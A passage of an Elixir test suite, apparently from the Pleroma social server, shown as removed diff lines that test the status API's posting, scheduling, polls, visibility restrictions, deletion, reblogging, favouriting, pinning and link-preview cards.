put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "cofe", - "spoiler_text" => "2hu", - "sensitive" => "False" - }) - - assert %{"id" => third_id} = json_response_and_validate_schema(conn_three, 200) - refute id == third_id - - # An activity that will expire: - # 2 hours - expires_in = 2 * 60 * 60 - - expires_at = DateTime.add(DateTime.utc_now(), expires_in) - - conn_four = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{ - "status" => "oolong", - "expires_in" => expires_in - }) - - assert %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200) - - assert Activity.get_by_id(fourth_id) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: fourth_id}, - scheduled_at: expires_at - ) - end - - test "it fails to create a status if `expires_in` is less or equal than an hour", %{ - conn: conn - } do - # 1 minute - expires_in = 1 * 60 - - assert %{"error" => "Expiry date is too soon"} = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{ - "status" => "oolong", - "expires_in" => expires_in - }) - |> json_response_and_validate_schema(422) - - # 5 minutes - expires_in = 5 * 60 - - assert %{"error" => "Expiry date is too soon"} = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{ - "status" => "oolong", - "expires_in" => expires_in - }) - |> json_response_and_validate_schema(422) - end - - test "Get MRF reason when posting a status is rejected by one", %{conn: conn} do - Config.put([:mrf_keyword, :reject], ["GNO"]) - Config.put([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) - - assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{"status" => "GNO/Linux"}) - |> json_response_and_validate_schema(422) - end - - test "posting an undefined status with an attachment", %{user: user, conn: conn} do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "media_ids" => [to_string(upload.id)] - }) - - assert json_response_and_validate_schema(conn, 200) - end - - test "replying to a status", %{user: user, conn: conn} do - {:ok, replied_to} = CommonAPI.post(user, %{status: "cofe"}) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) - - assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn, 200) - - activity = Activity.get_by_id(id) - - assert activity.data["context"] == replied_to.data["context"] - assert Activity.get_in_reply_to_activity(activity).id == replied_to.id - end - - test "replying to a direct message with visibility other than direct", %{ - user: user, - conn: conn - } do - {:ok, replied_to} = CommonAPI.post(user, %{status: "suya..", visibility: "direct"}) - - Enum.each(["public", "private", "unlisted"], fn visibility -> - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "@#{user.nickname} hey", - "in_reply_to_id" => replied_to.id, - "visibility" => visibility - }) - - assert json_response_and_validate_schema(conn, 422) == %{ - "error" => "The message visibility must be direct" - } - end) - end - - test "posting a status with an invalid in_reply_to_id", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""}) - - assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn, 200) - assert Activity.get_by_id(id) - end - - test "posting a sensitive status", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true}) - - assert %{"content" => "cofe", "id" => id, "sensitive" => true} = - json_response_and_validate_schema(conn, 200) - - assert Activity.get_by_id(id) - end - - test "posting a fake status", %{conn: conn} do - real_conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => - "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it" - }) - - real_status = json_response_and_validate_schema(real_conn, 200) - - assert real_status - assert Object.get_by_ap_id(real_status["uri"]) - - real_status = - real_status - |> Map.put("id", nil) - |> Map.put("url", nil) - |> Map.put("uri", nil) - |> Map.put("created_at", nil) - |> Kernel.put_in(["pleroma", "conversation_id"], nil) - - fake_conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => - "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it", - "preview" => true - }) - - fake_status = json_response_and_validate_schema(fake_conn, 200) - - assert fake_status - refute Object.get_by_ap_id(fake_status["uri"]) - - fake_status = - fake_status - |> Map.put("id", nil) - |> Map.put("url", nil) - |> Map.put("uri", nil) - |> Map.put("created_at", nil) - |> Kernel.put_in(["pleroma", "conversation_id"], nil) - - assert real_status == fake_status - end - - test "fake statuses' preview card is not cached", %{conn: conn} do - clear_config([:rich_media, :enabled], true) - - Tesla.Mock.mock(fn - %{ - method: :get, - url: "https://example.com/twitter-card" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")} - - env -> - apply(HttpRequestMock, :request, [env]) - end) - - conn1 = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "https://example.com/ogp", - "preview" => true - }) - - conn2 = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "https://example.com/twitter-card", - "preview" => true - }) - - assert %{"card" => %{"title" => "The Rock"}} = json_response_and_validate_schema(conn1, 200) - - assert %{"card" => %{"title" => "Small Island Developing States Photo Submission"}} = - json_response_and_validate_schema(conn2, 200) - end - - test "posting a status with OGP link preview", %{conn: conn} do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - clear_config([:rich_media, :enabled], true) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "https://example.com/ogp" - }) - - assert %{"id" => id, "card" => %{"title" => "The Rock"}} = - json_response_and_validate_schema(conn, 200) - - assert Activity.get_by_id(id) - end - - test "posting a direct status", %{conn: conn} do - user2 = insert(:user) - content = "direct cofe @#{user2.nickname}" - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"}) - - assert %{"id" => id} = response = json_response_and_validate_schema(conn, 200) - assert response["visibility"] == "direct" - assert response["pleroma"]["direct_conversation_id"] - assert activity = Activity.get_by_id(id) - assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id] - assert activity.data["to"] == [user2.ap_id] - assert activity.data["cc"] == [] - end - end - - describe "posting scheduled statuses" do - setup do: oauth_access(["write:statuses"]) - - test "creates a scheduled activity", %{conn: conn} do - scheduled_at = - NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) - |> NaiveDateTime.to_iso8601() - |> Kernel.<>("Z") - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "scheduled", - "scheduled_at" => scheduled_at - }) - - assert %{"scheduled_at" => expected_scheduled_at} = - json_response_and_validate_schema(conn, 200) - - assert expected_scheduled_at == CommonAPI.Utils.to_masto_date(scheduled_at) - assert [] == Repo.all(Activity) - end - - test "ignores nil values", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "not scheduled", - "scheduled_at" => nil - }) - - assert result = json_response_and_validate_schema(conn, 200) - assert Activity.get_by_id(result["id"]) - end - - test "creates a scheduled activity with a media attachment", %{user: user, conn: conn} do - scheduled_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(120), :millisecond) - |> NaiveDateTime.to_iso8601() - |> Kernel.<>("Z") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "media_ids" => [to_string(upload.id)], - "status" => "scheduled", - "scheduled_at" => scheduled_at - }) - - assert %{"media_attachments" => [media_attachment]} = - json_response_and_validate_schema(conn, 200) - - assert %{"type" => "image"} = media_attachment - end - - test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now", - %{conn: conn} do - scheduled_at = - NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond) - |> NaiveDateTime.to_iso8601() - |> Kernel.<>("Z") - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "not scheduled", - "scheduled_at" => scheduled_at - }) - - assert %{"content" => "not scheduled"} = json_response_and_validate_schema(conn, 200) - assert [] == Repo.all(ScheduledActivity) - end - - test "returns error when daily user limit is exceeded", %{user: user, conn: conn} do - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - # TODO - |> Kernel.<>("Z") - - attrs = %{params: %{}, scheduled_at: today} - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, attrs) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today}) - - assert %{"error" => "daily limit exceeded"} == json_response_and_validate_schema(conn, 422) - end - - test "returns error when total user limit is exceeded", %{user: user, conn: conn} do - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - |> Kernel.<>("Z") - - tomorrow = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.hours(36), :millisecond) - |> NaiveDateTime.to_iso8601() - |> Kernel.<>("Z") - - attrs = %{params: %{}, scheduled_at: today} - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow}) - - assert %{"error" => "total limit exceeded"} == json_response_and_validate_schema(conn, 422) - end - end - - describe "posting polls" do - setup do: oauth_access(["write:statuses"]) - - test "posting a poll", %{conn: conn} do - time = NaiveDateTime.utc_now() - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "Who is the #bestgrill?", - "poll" => %{ - "options" => ["Rei", "Asuka", "Misato"], - "expires_in" => 420 - } - }) - - response = json_response_and_validate_schema(conn, 200) - - assert Enum.all?(response["poll"]["options"], fn %{"title" => title} -> - title in ["Rei", "Asuka", "Misato"] - end) - - assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430 - refute response["poll"]["expred"] - - question = Object.get_by_id(response["poll"]["id"]) - - # closed contains utc timezone - assert question.data["closed"] =~ "Z" - end - - test "option limit is enforced", %{conn: conn} do - limit = Config.get([:instance, :poll_limits, :max_options]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "desu~", - "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1} - }) - - %{"error" => error} = json_response_and_validate_schema(conn, 422) - assert error == "Poll can't contain more than #{limit} options" - end - - test "option character limit is enforced", %{conn: conn} do - limit = Config.get([:instance, :poll_limits, :max_option_chars]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "...", - "poll" => %{ - "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)], - "expires_in" => 1 - } - }) - - %{"error" => error} = json_response_and_validate_schema(conn, 422) - assert error == "Poll options cannot be longer than #{limit} characters each" - end - - test "minimal date limit is enforced", %{conn: conn} do - limit = Config.get([:instance, :poll_limits, :min_expiration]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "imagine arbitrary limits", - "poll" => %{ - "options" => ["this post was made by pleroma gang"], - "expires_in" => limit - 1 - } - }) - - %{"error" => error} = json_response_and_validate_schema(conn, 422) - assert error == "Expiration date is too soon" - end - - test "maximum date limit is enforced", %{conn: conn} do - limit = Config.get([:instance, :poll_limits, :max_expiration]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{ - "status" => "imagine arbitrary limits", - "poll" => %{ - "options" => ["this post was made by pleroma gang"], - "expires_in" => limit + 1 - } - }) - - %{"error" => error} = json_response_and_validate_schema(conn, 422) - assert error == "Expiration date is too far in the future" - end - end - - test "get a status" do - %{conn: conn} = oauth_access(["read:statuses"]) - activity = insert(:note_activity) - - conn = get(conn, "/api/v1/statuses/#{activity.id}") - - assert %{"id" => id} = json_response_and_validate_schema(conn, 200) - assert id == to_string(activity.id) - end - - defp local_and_remote_activities do - local = insert(:note_activity) - remote = insert(:note_activity, local: false) - {:ok, local: local, remote: remote} - end - - describe "status with restrict unauthenticated activities for local and remote" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) - - setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - - assert json_response_and_validate_schema(res_conn, :not_found) == %{ - "error" => "Record not found" - } - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - - assert json_response_and_validate_schema(res_conn, :not_found) == %{ - "error" => "Record not found" - } - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - describe "status with restrict unauthenticated activities for local" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - - assert json_response_and_validate_schema(res_conn, :not_found) == %{ - "error" => "Record not found" - } - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - describe "status with restrict unauthenticated activities for remote" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - - assert json_response_and_validate_schema(res_conn, :not_found) == %{ - "error" => "Record not found" - } - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - test "getting a status that doesn't exist returns 404" do - %{conn: conn} = oauth_access(["read:statuses"]) - activity = insert(:note_activity) - - conn = get(conn, "/api/v1/statuses/#{String.downcase(activity.id)}") - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - - test "get a direct status" do - %{user: user, conn: conn} = oauth_access(["read:statuses"]) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{status: "@#{other_user.nickname}", visibility: "direct"}) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/statuses/#{activity.id}") - - [participation] = Participation.for_user(user) - - res = json_response_and_validate_schema(conn, 200) - assert res["pleroma"]["direct_conversation_id"] == participation.id - end - - test "get statuses by IDs" do - %{conn: conn} = oauth_access(["read:statuses"]) - %{id: id1} = insert(:note_activity) - %{id: id2} = insert(:note_activity) - - query_string = "ids[]=#{id1}&ids[]=#{id2}" - conn = get(conn, "/api/v1/statuses/?#{query_string}") - - assert [%{"id" => ^id1}, %{"id" => ^id2}] = - Enum.sort_by(json_response_and_validate_schema(conn, :ok), & &1["id"]) - end - - describe "getting statuses by ids with restricted unauthenticated for local and remote" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) - - setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - assert json_response_and_validate_schema(res_conn, 200) == [] - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "getting statuses by ids with restricted unauthenticated for local" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - remote_id = remote.id - assert [%{"id" => ^remote_id}] = json_response_and_validate_schema(res_conn, 200) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "getting statuses by ids with restricted unauthenticated for remote" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - local_id = local.id - assert [%{"id" => ^local_id}] = json_response_and_validate_schema(res_conn, 200) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "deleting a status" do - test "when you created it" do - %{user: author, conn: conn} = oauth_access(["write:statuses"]) - activity = insert(:note_activity, user: author) - object = Object.normalize(activity) - - content = object.data["content"] - source = object.data["source"] - - result = - conn - |> assign(:user, author) - |> delete("/api/v1/statuses/#{activity.id}") - |> json_response_and_validate_schema(200) - - assert match?(%{"content" => ^content, "text" => ^source}, result) - - refute Activity.get_by_id(activity.id) - end - - test "when it doesn't exist" do - %{user: author, conn: conn} = oauth_access(["write:statuses"]) - activity = insert(:note_activity, user: author) - - conn = - conn - |> assign(:user, author) - |> delete("/api/v1/statuses/#{String.downcase(activity.id)}") - - assert %{"error" => "Record not found"} == json_response_and_validate_schema(conn, 404) - end - - test "when you didn't create it" do - %{conn: conn} = oauth_access(["write:statuses"]) - activity = insert(:note_activity) - - conn = delete(conn, "/api/v1/statuses/#{activity.id}") - - assert %{"error" => "Record not found"} == json_response_and_validate_schema(conn, 404) - - assert Activity.get_by_id(activity.id) == activity - end - - test "when you're an admin or moderator", %{conn: conn} do - activity1 = insert(:note_activity) - activity2 = insert(:note_activity) - admin = insert(:user, is_admin: true) - moderator = insert(:user, is_moderator: true) - - res_conn = - conn - |> assign(:user, admin) - |> assign(:token, insert(:oauth_token, user: admin, scopes: ["write:statuses"])) - |> delete("/api/v1/statuses/#{activity1.id}") - - assert %{} = json_response_and_validate_schema(res_conn, 200) - - res_conn = - conn - |> assign(:user, moderator) - |> assign(:token, insert(:oauth_token, user: moderator, scopes: ["write:statuses"])) - |> delete("/api/v1/statuses/#{activity2.id}") - - assert %{} = json_response_and_validate_schema(res_conn, 200) - - refute Activity.get_by_id(activity1.id) - refute Activity.get_by_id(activity2.id) - end - end - - describe "reblogging" do - setup do: oauth_access(["write:statuses"]) - - test "reblogs and returns the reblogged status", %{conn: conn} do - activity = insert(:note_activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/reblog") - - assert %{ - "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, - "reblogged" => true - } = json_response_and_validate_schema(conn, 200) - - assert to_string(activity.id) == id - end - - test "returns 404 if the reblogged status doesn't exist", %{conn: conn} do - activity = insert(:note_activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{String.downcase(activity.id)}/reblog") - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) - end - - test "reblogs privately and returns the reblogged status", %{conn: conn} do - activity = insert(:note_activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post( - "/api/v1/statuses/#{activity.id}/reblog", - %{"visibility" => "private"} - ) - - assert %{ - "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, - "reblogged" => true, - "visibility" => "private" - } = json_response_and_validate_schema(conn, 200) - - assert to_string(activity.id) == id - end - - test "reblogged status for another user" do - activity = insert(:note_activity) - user1 = insert(:user) - user2 = insert(:user) - user3 = insert(:user) - {:ok, _} = CommonAPI.favorite(user2, activity.id) - {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id) - {:ok, reblog_activity1} = CommonAPI.repeat(activity.id, user1) - {:ok, _} = CommonAPI.repeat(activity.id, user2) - - conn_res = - build_conn() - |> assign(:user, user3) - |> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"])) - |> get("/api/v1/statuses/#{reblog_activity1.id}") - - assert %{ - "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2}, - "reblogged" => false, - "favourited" => false, - "bookmarked" => false - } = json_response_and_validate_schema(conn_res, 200) - - conn_res = - build_conn() - |> assign(:user, user2) - |> assign(:token, insert(:oauth_token, user: user2, scopes: ["read:statuses"])) - |> get("/api/v1/statuses/#{reblog_activity1.id}") - - assert %{ - "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2}, - "reblogged" => true, - "favourited" => true, - "bookmarked" => true - } = json_response_and_validate_schema(conn_res, 200) - - assert to_string(activity.id) == id - end - end - - describe "unreblogging" do - setup do: oauth_access(["write:statuses"]) - - test "unreblogs and returns the unreblogged status", %{user: user, conn: conn} do - activity = insert(:note_activity) - - {:ok, _} = CommonAPI.repeat(activity.id, user) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/unreblog") - - assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = - json_response_and_validate_schema(conn, 200) - - assert to_string(activity.id) == id - end - - test "returns 404 error when activity does not exist", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/foo/unreblog") - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - end - - describe "favoriting" do - setup do: oauth_access(["write:favourites"]) - - test "favs a status and returns it", %{conn: conn} do - activity = insert(:note_activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/favourite") - - assert %{"id" => id, "favourites_count" => 1, "favourited" => true} = - json_response_and_validate_schema(conn, 200) - - assert to_string(activity.id) == id - end - - test "favoriting twice will just return 200", %{conn: conn} do - activity = insert(:note_activity) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/favourite") - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/favourite") - |> json_response_and_validate_schema(200) - end - - test "returns 404 error for a wrong id", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/1/favourite") - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - end - - describe "unfavoriting" do - setup do: oauth_access(["write:favourites"]) - - test "unfavorites a status and returns it", %{user: user, conn: conn} do - activity = insert(:note_activity) - - {:ok, _} = CommonAPI.favorite(user, activity.id) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/unfavourite") - - assert %{"id" => id, "favourites_count" => 0, "favourited" => false} = - json_response_and_validate_schema(conn, 200) - - assert to_string(activity.id) == id - end - - test "returns 404 error for a wrong id", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/1/unfavourite") - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - end - - describe "pinned statuses" do - setup do: oauth_access(["write:accounts"]) - - setup %{user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) - - %{activity: activity} - end - - setup do: clear_config([:instance, :max_pinned_statuses], 1) - - test "pin status", %{conn: conn, user: user, activity: activity} do - id_str = to_string(activity.id) - - assert %{"id" => ^id_str, "pinned" => true} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/pin") - |> json_response_and_validate_schema(200) - - assert [%{"id" => ^id_str, "pinned" => true}] = - conn - |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") - |> json_response_and_validate_schema(200) - end - - test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do - {:ok, dm} = CommonAPI.post(user, %{status: "test", visibility: "direct"}) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{dm.id}/pin") - - assert json_response_and_validate_schema(conn, 400) == %{"error" => "Could not pin"} - end - - test "unpin status", %{conn: conn, user: user, activity: activity} do - {:ok, _} = CommonAPI.pin(activity.id, user) - user = refresh_record(user) - - id_str = to_string(activity.id) - - assert %{"id" => ^id_str, "pinned" => false} = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/unpin") - |> json_response_and_validate_schema(200) - - assert [] = - conn - |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") - |> json_response_and_validate_schema(200) - end - - test "/unpin: returns 400 error when activity is not exist", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/1/unpin") - - assert json_response_and_validate_schema(conn, 400) == %{"error" => "Could not unpin"} - end - - test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do - {:ok, activity_two} = CommonAPI.post(user, %{status: "HI!!!"}) - - id_str_one = to_string(activity_one.id) - - assert %{"id" => ^id_str_one, "pinned" => true} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{id_str_one}/pin") - |> json_response_and_validate_schema(200) - - user = refresh_record(user) - - assert %{"error" => "You have already pinned the maximum number of statuses"} = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity_two.id}/pin") - |> json_response_and_validate_schema(400) - end - - test "on pin removes deletion job, on unpin reschedule deletion" do - %{conn: conn} = oauth_access(["write:accounts", "write:statuses"]) - expires_in = 2 * 60 * 60 - - expires_at = DateTime.add(DateTime.utc_now(), expires_in) - - assert %{"id" => id} = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{ - "status" => "oolong", - "expires_in" => expires_in - }) - |> json_response_and_validate_schema(200) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: id}, - scheduled_at: expires_at - ) - - assert %{"id" => ^id, "pinned" => true} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{id}/pin") - |> json_response_and_validate_schema(200) - - refute_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: id}, - scheduled_at: expires_at - ) - - assert %{"id" => ^id, "pinned" => false} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{id}/unpin") - |> json_response_and_validate_schema(200) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: id}, - scheduled_at: expires_at - ) - end - end - - describe "cards" do - setup do - Config.put([:rich_media, :enabled], true) - - oauth_access(["read:statuses"]) - end - - test "returns rich-media card", %{conn: conn, user: user} do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - - {:ok, activity} = CommonAPI.post(user, %{status: "https://example.com/ogp"}) - - card_data = %{ - "image" => "http://ia.media-imdb.com/images/rock.jpg", - "provider_name" => "example.com", - "provider_url" => "https://example.com", - "title" => "The Rock", - "type" => "link", - "url" => "https://example.com/ogp", - "description" => - "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", - "pleroma" => %{ - "opengraph" => %{ - "image" => "http://ia.media-imdb.com/images/rock.jpg", - "title" => "The Rock", - "type" => "video.movie", - "url" => "https://example.com/ogp", - "description" => - "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer." - } - } - } - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/card") - |> json_response_and_validate_schema(200) - - assert response == card_data - - # works with private posts - {:ok, activity} = - CommonAPI.post(user, %{status: "https://example.com/ogp", visibility: "direct"}) - - response_two = - conn - |> get("/api/v1/statuses/#{activity.id}/card") - |> json_response_and_validate_schema(200) - - assert response_two == card_data - end - - test "replaces missing description with an empty string", %{conn: conn, user: user} do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - - {:ok, activity} = CommonAPI.post(user, %{status: 